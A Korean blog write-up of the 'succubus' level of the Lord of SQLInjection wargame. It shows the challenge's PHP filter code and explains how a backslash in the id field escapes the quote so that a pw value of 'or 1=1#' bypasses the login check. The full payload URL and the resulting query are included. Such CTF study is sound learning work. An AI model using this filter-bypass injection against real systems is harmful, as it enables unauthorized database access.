LOS 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트는 zombie_assassin에 이어 succubus 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.

succubus은 단순 필터링 우회문제이지만, 함수에서 어떻게 필터링을 했는지 주의깊게 살펴봐야 합니다.


근데 서큐버스 그림이 넘 안 이쁨 흑...



 

 문제 이해


문제 소스코드는 다음과 같이 PHP 소스를 그대로 보여주는 것을 알 수 있습니다.

<?php 
  include "./config.php"; 
  login_chk(); 
  dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[id])) exit("HeHe"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysql_fetch_array(mysql_query($query)); 
  if($result['id']) solve("succubus"); 
  highlight_file(__FILE__); 
?>


위의 문제에서 7번과 8번 라인에서 id와 pw로 받은 데이터 중 싱글쿼터를 필터링합니다.

여기서 preg_match 함수를 사용하였는데, 이 함수는 아직까지 잘 알려진 취약점이 있지 않습니다.


따라서 여기서 어떤 것이 필터링 됐고, 어떤 것이 필터링되지 않았는지 살펴보도록 합시다.


싱글쿼터는 필터링되어 있지만, 역슬레쉬(\)가 필터링되지 않았습니다.

여기서는 역슬레쉬를 이용하고, 입력 구간이 두 군데 있다는 것을 이용해야 합니다.




 

 문제 풀이(쿼리)


GET 형태이기 때문에 다음과 같이 쿼리를 짜주었습니다.



 

 id와 pw쪽에 값 삽입


이 문제에서는 한 군데에 값을 집어넣었다고 해서 풀릴 수 있는 문제가 아닌 건가 싶습니다..

제가 풀이한 방법은 다음 원리를 이용한 것입니다.


먼저 일반 값을 넣었을 때와 역슬레쉬를 넣었을 때의 결과를 비교하면 다음과 같습니다.


일반 값을 넣었을 때 :

 select id from prob_succubus where id='abcd' and pw='' 


역슬레쉬를 넣었을 때 : 

 select id from prob_succubus where id='\' and pw='(여기서부터 에러)' 


이 원리를 이용하면 역슬레쉬를 넣음으로써 뒤의 싱글 쿼터를 입력된 값으로 변조할 수 있게 됩니다.


따라서 다음과 같은 방법으로 위의 취약점을 이용할 수 있습니다.

https://los.rubiya.kr/chall/succubus_37568a99f12e6bd2f097e8038f74d768.php?id=\&pw=or%201=1%23


위의 쿼리는 id=\&pw=or 1=1%23 이라고 작성해주었습니다.

위와 같이 입력해주게 되면 실제 쿼리는 다음과 같이 변하게 됩니다.


 query : select id from prob_succubus where id='\and pw='or 1=1#'


이처럼 \' and pw= 으로된 문자열 값이 id에 들어갔다고 인식되게 됩니다. 또한 pw에 입력한 or 1=1이 참으로 만들어줄 조건이 됩니다.


즉, id='문자열' or 1=1#'과 같은 형태가 된 것이나 다름 없다는 것입니다.



+ Recent posts